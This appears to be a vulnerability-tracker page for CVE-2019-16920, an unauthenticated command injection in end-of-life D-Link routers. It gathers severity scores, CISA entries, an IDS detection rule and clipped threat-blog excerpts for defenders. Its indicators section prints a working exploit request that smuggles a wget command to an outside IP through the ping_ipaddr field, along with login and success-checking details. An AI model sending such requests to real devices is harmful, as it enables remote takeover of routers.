CVE-2019-16920
published 2019-09-27CVE-2019-16920: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an…
PriorityP199critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2022-04-15
Exploited in the wild
EPSS
100.00%
100.0th percentile
Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| dlink | dhp-1565_firmware | <= 1.01 | — |
| dlink | dir-655_firmware | <= 3.02b05 | — |
| dlink | dir-866l_firmware | <= 1.03b04 | — |
Detection & IOCsextracted from sources · hover to see the quote
commandPOST /apply_sec.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)↗
snort
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT Multiple DLink Routers Remote Code Execution CVE-2019-16920"; flow:established,to_server; urilen:14; http.method; content:"POST"; http.uri; content:"/apply_sec.cgi"; http.request_body; content:"html_response_page=login_pic.asp&action=ping_test&ping_ipaddr="; fast_pattern; reference:cve,2019-16920; reference:url,www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce; classtype:attempted-admin; sid:2030277; rev:3; metadata:affected_product Linux, attack_target IoT, created_at 2020_06_10, cve CVE_2019_16920, deployment Perimeter, confidence High, signature_severity Major, tag CISA_KEV, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_07, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
- →Exploit targets POST /apply_sec.cgi with action=ping_test and a newline-injected ping_ipaddr parameter (e.g., %0a). No authentication is required; the bad auth check allows unauthenticated access to all SSC_SEC_OBJS actions. ↗
- →The exploit POST body always contains the fixed string 'html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=' — use this as a fast-pattern match in HTTP request body inspection.
- →The URI /apply_sec.cgi is exactly 14 characters long; the Snort rule uses urilen:14 as an additional constraint to reduce false positives.
- →The initial login step sends a fixed session_id=62384 and base64-encoded login_name=YWRtaW4%3D in the POST body to /apply_sec.cgi — this pattern can be used to identify scanning/exploitation attempts. ↗
- →Exploitation response body can be validated by matching 'root:.*:0:0:' (Linux /etc/passwd) or '[font|extension|files]' (Windows win.ini) in the HTTP response body.
- ·All affected D-Link models (DIR-655, DIR-866L, DIR-652, DHP-1565, DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, DIR-825) are End-of-Life; no vendor patch will be issued. CISA mandates disconnection of these devices. ↗
- ·The vulnerability is pre-authentication — no valid session or credentials are needed to reach the ping_test action via /apply_sec.cgi, because the current_user nvram value is uninitialized by default. ↗
- ·Special characters (double quote, quote, semicolon) are filtered by the ping handler, but the newline character (%0a) is not — detection rules must specifically look for URL-encoded newlines in ping_ipaddr. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-5p5j-jvxx-68mp: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565
ghsa_unreviewed·2022-05-24
CVE-2019-16920 [CRITICAL] CWE-78 GHSA-5p5j-jvxx-68mp: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565
Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise.
VulnCheck
D-Link Multiple Routers Command Injection Vulnerability
vulncheck·2019·CVSS 9.8
CVE-2019-16920 [CRITICAL] CWE-78 D-Link Multiple Routers Command Injection Vulnerability
D-Link Multiple Routers Command Injection Vulnerability
Multiple D-Link routers contain a command injection vulnerability which can allow attackers to achieve full system compromise.
Affected: D-Link Multiple Routers
Required Action: The impacted product is end-of-life and should be disconnected if still in use.
Known Ransomware Campaign Use: Known
Exploitation References: https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer; https://www.bleepingcomputer.com/news/security/us-charges-chinese-winnti-hackers-for-attacking-100-plus-companies/; https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/; https://cisa.gov/news-events/cybersecurity-advisories/aa20-275a; https://us-cert.cisa.gov/ncas/alerts/aa20-275
CISA
D-Link Multiple Routers Command Injection Vulnerability
cisa·2022-03-25·CVSS 9.8
CVE-2019-16920 [CRITICAL] CWE-78 D-Link Multiple Routers Command Injection Vulnerability
Vulnerability: D-Link Multiple Routers Command Injection Vulnerability
Affected: D-Link Multiple Routers
Multiple D-Link routers contain a command injection vulnerability which can allow attackers to achieve full system compromise.
Required Action: The impacted product is end-of-life and should be disconnected if still in use.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2019-16920
Remediation Due Date: 2022-04-15
Suricata
ET EXPLOIT Multiple DLink Routers Remote Code Execution CVE-2019-16920
suricata·2020-06-10·CVSS 9.8
CVE-2019-16920 [CRITICAL] ET EXPLOIT Multiple DLink Routers Remote Code Execution CVE-2019-16920
ET EXPLOIT Multiple DLink Routers Remote Code Execution CVE-2019-16920
Rule: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT Multiple DLink Routers Remote Code Execution CVE-2019-16920"; flow:established,to_server; urilen:14; http.method; content:"POST"; http.uri; content:"/apply_sec.cgi"; http.request_body; content:"html_response_page=login_pic.asp&action=ping_test&ping_ipaddr="; fast_pattern; reference:cve,2019-16920; reference:url,www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce; classtype:attempted-admin; sid:2030277; rev:3; metadata:affected_product Linux, attack_target IoT, created_at 2020_06_10, cve CVE_2019_16920, deployment Perimeter, confidence High, signature_severity Major, tag CISA_KEV, tag Description_Generated_By_Proofpoint_Nexus, upd
Nuclei
D-Link Routers - Remote Code Execution
nuclei·CVSS 9.8
CVE-2019-16920 [CRITICAL] D-Link Routers - Remote Code Execution
D-Link Routers - Remote Code Execution
D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565 contain an unauthenticated remote code execution vulnerability. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these issues also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
Template:
id: CVE-2019-16920
info:
name: D-Link Routers - Remote Code Execution
author: dwisiswant0
severity: critical
description: D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565 contain an unauthenticated remote code execution vulnerabi
Trendmicro
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
blogs_trendmicro·2025-10-09·CVSS 8.8
[HIGH] RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Cyber Threats
## RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Trend™ Research and ZDI Threat Hunters have identified a large-scale RondoDox botnet campaign exploiting over 50 vulnerabilities across more than 30 vendors, including flaws first seen in Pwn2Own contests.
By: Deep Patel, Ashish Verma, Simon Dulude, Peter Girnus Oct 09, 2025 Read time: ( words)
Save to Folio
Trend customers can be reassured that they have been protected against vulnerabilities like CVE-2023-1389 since it was disclosed at Pwn2Own.
Below is the timeline showing key events in the RondoDox vulnerability, from discovery to exploitation:
December 6, 2022: Tri Dang and Bien Pham (@bienpnn) from Qrious Secure exploit the WAN interface of TP-Link AX1800 at Pwn2Own Toronto 2022 .
Januar
Trendmicro
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
blogs_trendmicro·2025-10-09·CVSS 8.8
[HIGH] RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Cyber Threats
## RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
The Trend Zero Day Initiative™ (ZDI) and Trend™ Research teams have identified a large-scale RondoDox botnet campaign exploiting over 50 vulnerabilities across more than 30 vendors, including flaws first seen in Pwn2Own contests.
By: Deep Patel, Ashish Verma, Simon Dulude, Peter Girnus Oct 09, 2025 Read time: ( words)
Save to Folio
Trend customers can be reassured that they have been protected against vulnerabilities like CVE-2023-1389 since it was disclosed at Pwn2Own.
Below is the timeline showing key events in the RondoDox vulnerability, from discovery to exploitation:
December 6, 2022: Tri Dang and Bien Pham (@bienpnn) from Qrious Secure exploit the WAN interface of TP-Link AX1800 at Pwn2Ow
Trendmicro
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
blogs_trendmicro·2025-10-09
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Cyber Threats
# RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Trend™ Research and ZDI Threat Hunters have identified a large-scale RondoDox botnet campaign exploiting over 50 vulnerabilities across more than 30 vendors, including flaws first seen in Pwn2Own contests.
By: Deep Patel, Ashish Verma, Simon Dulude, Peter Girnus
2025/10/09
Read time: ( words)
Save to Folio
Key takeaways
- The campaign exposes organizations to the risks of data exfiltration, persistent network compromise, and operational disruption for organizations with exposed infrastructure.
- Organizations operating internet-facing network devices are at heightened risk. Active exploitation has been observed globally since mid-2025, with several CVEs now included in CISA’s Known Exploited Vul
Trendmicro
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
blogs_trendmicro·2025-10-09·CVSS 8.8
[HIGH] RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Cyber Threats
## RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Trend™ Research and ZDI Threat Hunters have identified a large-scale RondoDox botnet campaign exploiting over 50 vulnerabilities across more than 30 vendors, including flaws first seen in Pwn2Own contests.
By: Deep Patel, Ashish Verma, Simon Dulude, Peter Girnus 2025/10/09 Read time: ( words)
Save to Folio
Trend customers can be reassured that they have been protected against vulnerabilities like CVE-2023-1389 since it was disclosed at Pwn2Own.
Below is the timeline showing key events in the RondoDox vulnerability, from discovery to exploitation:
December 6, 2022: Tri Dang and Bien Pham (@bienpnn) from Qrious Secure exploit the WAN interface of TP-Link AX1800 at Pwn2Own Toronto 2022 .
January
Trendmicro
RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
blogs_trendmicro·2025-10-09·CVSS 8.8
[HIGH] RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
Ciberamenazas
## RondoDox: From Targeting Pwn2Own Vulnerabilities to Shotgunning Exploits
The Trend Zero Day Initiative™ (ZDI) and Trend™ Research teams have identified a large-scale RondoDox botnet campaign exploiting over 50 vulnerabilities across more than 30 vendors, including flaws first seen in Pwn2Own contests.
By: Deep Patel, Ashish Verma, Simon Dulude, Peter Girnus Oct 09, 2025 Read time: ( words)
Save to Folio
Trend customers can be reassured that they have been protected against vulnerabilities like CVE-2023-1389 since it was disclosed at Pwn2Own.
Below is the timeline showing key events in the RondoDox vulnerability, from discovery to exploitation:
December 6, 2022: Tri Dang and Bien Pham (@bienpnn) from Qrious Secure exploit the WAN interface of TP-Link AX1800 at Pwn2Ow
Fortinet
Mirai, RAR1Ransom, and GuardMiner – Multiple Malware Campaigns Target VMware Vulnerability
blogs_fortinet·2022-10-21·CVSS 9.8
CVE-2022-22954 [CRITICAL] Mirai, RAR1Ransom, and GuardMiner – Multiple Malware Campaigns Target VMware Vulnerability
FORTIGUARD LABS THREAT RESEARCH
Mirai, RAR1Ransom, and GuardMiner – Multiple Malware Campaigns Target VMware Vulnerability
By Cara Lin | October 21, 2022
In April, VMware patched a vulnerability CVE-2022-22954. It causes server-side template injection because of the lack of sanitization on parameters “deviceUdid” and “devicetype”. It allows attackers to inject a payload and achieve remote code execution on VMware Workspace ONE Access and Identity Manager. FortiGuard Labs published Threat Signal Report about it and also developed IPS signature in April.
We observed attacks in the wild since then. Most of the payloads focus on probing a victim’s sensitive data, for example, passwords, hosts file, etc. But in August, there were a few particular payloads, which got our interest. They had th
Unit42
Network Attack Trends: Internet of Threats (November 2020-January 2021)
blogs_unit42·2021-04-12·CVSS 7.5
CVE-2020-28188 [HIGH] Network Attack Trends: Internet of Threats (November 2020-January 2021)
# Executive Summary
Unit 42 researchers analyzed network attack trends over Winter 2020 and discovered many interesting exploits in the wild. During the period of Nov. 2020 to Jan. 2021, the majority of the attacks we observed were classified as critical (75%), compared to the 50.4% we reported in the fall of 2020. Several newly observed exploits, including CVE-2020-28188, CVE-2020-17519, and CVE-2020-29227, have emerged and were continuously being exploited in the wild as of late 2020 to early 2021.
This blog provides details of the newly observed exploits as well as a dive deep into the exploitation analysis, vendor analysis, attack origin, and attack category distribution.
Palo Alto Networks Next-Generation Firewall customers are protected from these attacks with the URL Filtering an
Unit42
Network Attack Trends: Internet of Threats (November 2020-January 2021)
blogs_unit42·2021-04-12·CVSS 7.5
[HIGH] Network Attack Trends: Internet of Threats (November 2020-January 2021)
Threat Research Center
Trend Reports
Vulnerabilities
## Network Attack Trends: Internet of Threats (November 2020-January 2021)
Lei Xu
Yue Guan
Vaibhav Singhal
Published: April 12, 2021
Malware
Trend Reports
Vulnerabilities
Botnet
DDoS
Exploit kit
IoT
Network security trends
## Executive Summary
Unit 42 researchers analyzed network attack trends over Winter 2020 and discovered many interesting exploits in the wild. During the period of Nov. 2020 to Jan. 2021, the majority of the attacks we observed were classified as critical (75%), compared to the 50.4% we reported in the fall of 2020 . Several newly observed exploits, including CVE-2020-28188 , CVE-2020-17519 , and CVE-2020-29227 , have emerged and were continuously being exploited in the wild as of late 2020 to earl
Unit42
Two New IoT Vulnerabilities Identified with Mirai Payloads
blogs_unit42·2020-10-14
Two New IoT Vulnerabilities Identified with Mirai Payloads
Threat Research Center
Threat Research
Vulnerabilities
## Two New IoT Vulnerabilities Identified with Mirai Payloads
Ken Hsu
Yue Guan
Vaibhav Singhal
Qi Deng
Published: October 14, 2020
Threat Research
Vulnerabilities
IoT
Mirai
## Executive Summary
Palo Alto Networks is proactively trying to safeguard its customers from attacks however possible. By leveraging its Next-Generation Firewall as sensors on the perimeter to detect malicious payloads and attack patterns, Unit 42 researchers are able to hunt down the menaces out there on the network, be they known or not.
Unit 42 researchers have taken a closer look at four Mirai variants from two recently discovered campaigns leveraging command injection vulnerability exploits that reveal a familiar IoT attack pattern.
While t
Unit42
Two New IoT Vulnerabilities Identified with Mirai Payloads
blogs_unit42·2020-10-14
Two New IoT Vulnerabilities Identified with Mirai Payloads
## Executive Summary
Palo Alto Networks is proactively trying to safeguard its customers from attacks however possible. By leveraging its Next-Generation Firewall as sensors on the perimeter to detect malicious payloads and attack patterns, Unit 42 researchers are able to hunt down the menaces out there on the network, be they known or not.
Unit 42 researchers have taken a closer look at four Mirai variants from two recently discovered campaigns leveraging command injection vulnerability exploits that reveal a familiar IoT attack pattern.
While this generic approach allows researchers to observe the entire killchain and even acquire the malware binary from the attack, this post-exploitation heuristic does have its caveat: the traffic fingerprinting. Similar services yield similar traffi
Checkpoint
14th October – Threat Intelligence Bulletin
blogs_checkpoint·2019-10-15
CVE-2019-1238 14th October – Threat Intelligence Bulletin
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 14th October – Threat Intelligence Bulletin
For the latest discoveries in cyber research for the week of 14th October 2019, please download our Threat Intelligence Bulletin
TOP ATTACKS AND BREACHES
Hackers have breached Volusion, provider of cloud hosted online stores, and used it to delivers malicious JavaScript code and steal payment card details entered by end customers. Volusion has more than 20,000 customers and at least 6,500 have been actively exploited in this attack. The attack has been attributed to M
Fortinet
FortiGuard Labs Weekly Threat Update – October 4, 2019
blogs_fortinet·2019-10-07·CVSS 9.8
CVE-2019-16920 [CRITICAL] FortiGuard Labs Weekly Threat Update – October 4, 2019
FORTIGUARD LABS THREAT RESEARCH
FortiGuard Labs Weekly Threat Update – October 4, 2019
By Jeannette Jarvis | October 07, 2019
Each week, FortiGuard Labs publishes a Threat Brief to subscribers that profiles notable hot topics and threats that were discovered or discussed during the week. Here is a recap of what we are covering in this week’s Threat Brief:
In this latest issue we look into a recently discovered critical vulnerability (FG-VD-19-117/CVE-2019-16920) affecting several EOL D-Link router models found by our FortiGuard researchers. This vulnerability could allow for remote code execution without authentication. This occurs when an attacker sends arbitrary input to the device's common gateway interface that could lead to command injection. Attackers know that many users treat ro
Fortinet
Multiple D-Link Routers Found Vulnerable To Unauthenticated Remote Code Execution
blogs_fortinet·2019-10-03·CVSS 9.8
CVE-2019-16920 [CRITICAL] Multiple D-Link Routers Found Vulnerable To Unauthenticated Remote Code Execution
FORTIGUARD LABS THREAT RESEARCH
Multiple D-Link Routers Found Vulnerable To Unauthenticated Remote Code Execution
By Thanh Nguyen Nguyen | October 03, 2019
Introduction
In September 2019, Fortinet's FortiGuard Labs discovered and reported an unauthenticated command injection vulnerability (FG-VD-19-117/CVE-2019-16920) in D-Link products that could lead to Remote Code Execution (RCE) upon successful exploitation. We rated this as a critical issue since the vulnerability can be triggered remotely without authentication.
Based on our findings, the vulnerability was found in latest firmware of the following D-Link products:
DIR-655
DIR-866L
DIR-652
DHP-1565
At the time of the writing of this advisory, these products are at End of Life (EOL) support, which means the vendor will not provide
https://fortiguard.com/zeroday/FG-VD-19-117https://medium.com/%4080vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3https://www.kb.cert.org/vuls/id/766427https://www.seebug.org/vuldb/ssvid-98079https://fortiguard.com/zeroday/FG-VD-19-117https://medium.com/%4080vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3https://www.kb.cert.org/vuls/id/766427https://www.seebug.org/vuldb/ssvid-98079https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-16920
2019-09-27
Published
2022-03-25
Added to CISA KEV
Exploited in the wild